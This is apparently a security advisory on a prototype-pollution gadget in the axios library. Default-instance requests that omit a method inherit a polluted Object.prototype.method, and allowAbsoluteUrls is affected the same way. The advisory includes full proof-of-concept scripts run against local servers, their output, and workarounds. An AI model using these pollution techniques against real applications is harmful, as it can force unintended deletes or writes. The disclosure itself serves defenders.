## Summary
Axios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.
Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.
## Impact
In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.
Method aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.
## Affected Functionality
Affected:
- Default axios instance calls: `axios.request({ url })`.
- Callable shorthand: `axios({ url })`.
- Requests where no own `config.method` is provided.
Not affected in the confirmed method PoC:
- `axios.get(url)` and other method aliases.
- `axios.request({ url, method: 'GET' })`.
- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.
## Technical Details
`lib/core/Axios.js` sets the request method with:
```js
config.method = (config.method || this.defaults.method || 'get').toLowerCase();
```
`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.
Local verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.
## Proof of Concept of Attack
Constrained local demonstration:
```js
Object.prototype.method = 'DELETE';
try {
await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
delete Object.prototype.method;
}
```
Expected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.
## Workarounds
Use explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.
<details>
<summary><h3>Original report</h3></summary>
### Summary
Axios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.
Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.
This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.
### Details
The vulnerable fallback read is in `lib/core/Axios.js`:
```js
// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
// do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
config.allowAbsoluteUrls = true;
}
// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();
```
The merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:
```js
const config = Object.create(null);
```
Therefore, when the caller does not provide `config.method`, the fallback becomes:
```js
this.defaults.method
```
The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.
The same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.
### Proof of Concept
#### Access and Attack Conditions
No admin access is required for Axios itself. This is a library-level gadget.
The attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.
Required condition:
```text
Some other bug or unsafe merge path in the application must allow Object.prototype pollution.
```
What Axios contributes:
```text
Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.
```
What Axios does not do:
```text
Axios does not create Object.prototype pollution by itself.
```
Affected usage:
```js
axios.request({ url });
axios({ url });
```
Not affected in the confirmed PoC:
```js
axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });
```
#### Reproduction Steps
1. Create a clean test directory and install Axios `1.17.0`:
```powershell
mkdir axios-validation
cd axios-validation
npm init -y
npm install
[email protected] --no-audit --no-fund
```
2. Save the method override PoC below as:
```text
validate-prototype-method-gadget.mjs
```
3. Run the PoC:
```powershell
node validate-prototype-method-gadget.mjs
```
4. Confirm that the output shows:
```text
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
```
5. This proves that after `Object.prototype.method = "DELETE"`, default-instance calls that omit an explicit method are sent as `DELETE`.
#### What the Method PoC Script Does
The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:
```js
Object.prototype.method = "DELETE";
```
While that pollution is active, the script sends five Axios requests:
```js
axios.request({ url }); // expected vulnerable path
axios({ url }); // expected vulnerable shorthand path
axios.get(url); // expected safe alias path
axios.request({ url, method: "GET" }); // expected safe explicit-method path
axios.create().request({ url }); // expected safe isolated-instance path
```
The script then deletes the polluted property:
```js
delete Object.prototype.method;
```
Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.
#### Method Override PoC
Create `validate-prototype-method-gadget.mjs`:
```js
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runRequest(label, requestFn) {
const hits = [];
const server = http.createServer((req, res) => {
hits.push({
method: req.method,
url: req.url,
});
res.writeHead(200, { "content-type": "application/json" });
res.end(JSON.stringify({ ok: true }));
});
const port = await listen(server);
const url = `http://127.0.0.1:${port}/${label}`;
let status = "completed";
let error = "";
try {
await requestFn(url);
} catch (err) {
status = "error";
error = err?.message || String(err);
}
server.close();
return { label, status, error, hits };
}
const results = [];
Object.prototype.method = "DELETE";
try {
results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));
const instance = axios.create();
results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
delete Object.prototype.method;
}
const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);
const confirmed =
defaultRequestMethod === "DELETE" &&
defaultShorthandMethod === "DELETE" &&
getAliasMethod === "GET" &&
explicitGetMethod === "GET" &&
createdInstanceMethod === "GET";
console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;
```
Run:
```powershell
node validate-prototype-method-gadget.mjs
```
Observed result:
```text
axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
```
The local server received:
```text
axios.request({ url }) -> DELETE
axios({ url }) -> DELETE
axios.get(url) -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url }) -> GET
```
This confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.
#### Supporting `allowAbsoluteUrls` Gadget Evidence
The same inherited-property issue affects `allowAbsoluteUrls`.
Create `validate-prototype-allowabsoluteurls-gadget.mjs`:
```js
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runCase(label, requestFn) {
const baseHits = [];
const absoluteHits = [];
const baseServer = http.createServer((req, res) => {
baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("base");
});
const absoluteServer = http.createServer((req, res) => {
absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("absolute");
});
const basePort = await listen(baseServer);
const absolutePort = await listen(absoluteServer);
try {
await requestFn({
baseURL: `http://127.0.0.1:${basePort}/api`,
url: `http://127.0.0.1:${absolutePort}/absolute-path`,
});
} catch {}
baseServer.close();
absoluteServer.close();
return { label, baseHits, absoluteHits };
}
const results = [];
results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));
Object.prototype.allowAbsoluteUrls = false;
try {
results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
const instance = axios.create();
results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
delete Object.prototype.allowAbsoluteUrls;
}
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
```
Observed result:
```text
axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED
```
Without pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.
### Impact
This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.
If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:
- `axios.request({ url })`
- `axios({ url })`
This can turn an expected safe default `GET` request into a state-changing method such as:
- `DELETE`
- `POST`
- `PUT`
- `PATCH`
Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.
The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.
</details>
---